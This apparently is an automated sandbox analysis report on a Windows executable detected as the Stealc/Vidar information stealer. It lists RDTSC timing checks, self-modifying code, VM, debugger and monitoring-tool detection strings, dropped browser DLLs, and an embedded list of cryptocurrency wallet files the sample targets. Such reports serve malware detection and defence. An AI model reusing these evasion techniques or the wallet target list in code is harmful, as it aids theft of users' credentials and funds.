Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006DE second address: 4D006E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006E2 second address: 4D006F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006F1 second address: 4D006F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D006F5 second address: 4D0070E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0070E second address: 4D0073C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B10081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FB8A0B1007Eh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0073C second address: 4D00740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00740 second address: 4D0075D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B10089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D0075D second address: 4D00763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00763 second address: 4D00767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00895 second address: 4D00895 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84CA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007FB8A0D84CA0h 0x00000010 jne 00007FB8A0D84C45h 0x00000016 mov al, byte ptr [edx] 0x00000018 jmp 00007FB8A0D84CA6h 0x0000001d inc edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 mov eax, edi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D008EF second address: 4D009B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov eax, 73DB207Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d dec edi 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FB8A0B10080h 0x00000015 sub si, 3468h 0x0000001a jmp 00007FB8A0B1007Bh 0x0000001f popfd 0x00000020 push ecx 0x00000021 pushfd 0x00000022 jmp 00007FB8A0B1007Fh 0x00000027 sbb eax, 3A2AD7AEh 0x0000002d jmp 00007FB8A0B10089h 0x00000032 popfd 0x00000033 pop ecx 0x00000034 popad 0x00000035 lea ebx, dword ptr [edi+01h] 0x00000038 jmp 00007FB8A0B10087h 0x0000003d mov al, byte ptr [edi+01h] 0x00000040 jmp 00007FB8A0B10086h 0x00000045 inc edi 0x00000046 pushad 0x00000047 pushfd 0x00000048 jmp 00007FB8A0B1007Eh 0x0000004d xor ch, FFFFFFB8h 0x00000050 jmp 00007FB8A0B1007Bh 0x00000055 popfd 0x00000056 mov ah, 4Eh 0x00000058 popad 0x00000059 test al, al 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D009B1 second address: 4D009B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D009B5 second address: 4D009D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B10088h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D009D1 second address: 4D009F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 5C9908F4h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FB910E6CD39h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB8A0D84CA0h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D009F6 second address: 4D009FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D009FC second address: 4D00A18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84C9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov esi, edx 0x00000010 mov dh, 33h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00A18 second address: 4D00A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00A1E second address: 4D00A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00A22 second address: 4D00A8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0B1007Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b shr ecx, 02h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FB8A0B1007Ch 0x00000015 adc esi, 6B730768h 0x0000001b jmp 00007FB8A0B1007Bh 0x00000020 popfd 0x00000021 push eax 0x00000022 mov bl, 9Ch 0x00000024 pop eax 0x00000025 popad 0x00000026 rep movsd 0x00000028 rep movsd 0x0000002a rep movsd 0x0000002c rep movsd 0x0000002e rep movsd 0x00000030 jmp 00007FB8A0B10087h 0x00000035 mov ecx, edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FB8A0B10085h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00A8F second address: 4D00ACF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and ecx, 03h 0x0000000d jmp 00007FB8A0D84CA5h 0x00000012 rep movsb 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB8A0D84CA8h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00ACF second address: 4D00AD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00AD5 second address: 4D00B43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8A0D84C9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 pushad 0x00000011 mov si, B0ADh 0x00000015 mov di, ax 0x00000018 popad 0x00000019 mov eax, ebx 0x0000001b pushad 0x0000001c mov dx, ax 0x0000001f pushfd 0x00000020 jmp 00007FB8A0D84C9Eh 0x00000025 sbb ah, 00000078h 0x00000028 jmp 00007FB8A0D84C9Bh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ecx, dword ptr [ebp-10h] 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FB8A0D84C9Bh 0x0000003b jmp 00007FB8A0D84CA3h 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00B43 second address: 4D00B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00B49 second address: 4D00B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00B4D second address: 4D00B51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00B51 second address: 4D00BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f pushad 0x00000010 mov dx, 7E4Ch 0x00000014 mov ecx, edi 0x00000016 popad 0x00000017 pop ecx 0x00000018 pushad 0x00000019 jmp 00007FB8A0D84C9Dh 0x0000001e push eax 0x0000001f movsx edi, si 0x00000022 pop esi 0x00000023 popad 0x00000024 pop edi 0x00000025 jmp 00007FB8A0D84C9Fh 0x0000002a pop esi 0x0000002b jmp 00007FB8A0D84CA6h 0x00000030 pop ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007FB8A0D84C9Dh 0x0000003a xor ecx, 10E07DE6h 0x00000040 jmp 00007FB8A0D84CA1h 0x00000045 popfd 0x00000046 pushad 0x00000047 popad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00E45 second address: 4D00E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D00E4B second address: 4D00E95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov dx, 9D18h 0x0000000f pushfd 0x00000010 jmp 00007FB8A0D84CA1h 0x00000015 or ecx, 4E2C6006h 0x0000001b jmp 00007FB8A0D84CA1h 0x00000020 popfd 0x00000021 popad 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FB8A0D84C9Dh 0x0000002a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 54D860 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6F2988 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7847B9 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7536	Thread sleep time: -36018s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7532	Thread sleep time: -42021s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C63EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C63EBF0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2077701565.00000000006D0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxw
Source: file.exe, 00000000.00000002.2078554951.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware\|
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2078554951.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2077701565.00000000006D0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C70AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C70AC62

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C70AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C70AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7512, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C754760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C754760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C631C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C631C30

Source: file.exe, file.exe, 00000000.00000002.2077701565.00000000006D0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2077701565.00000000006D0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: JProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C70AE71 cpuid

0_2_6C70AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C70A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C70A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C658390 NSS_GetVersion,

0_2_6C658390

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2077275700.0000000000261000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1672546233.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2078554951.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7512, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2077275700.00000000004CE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
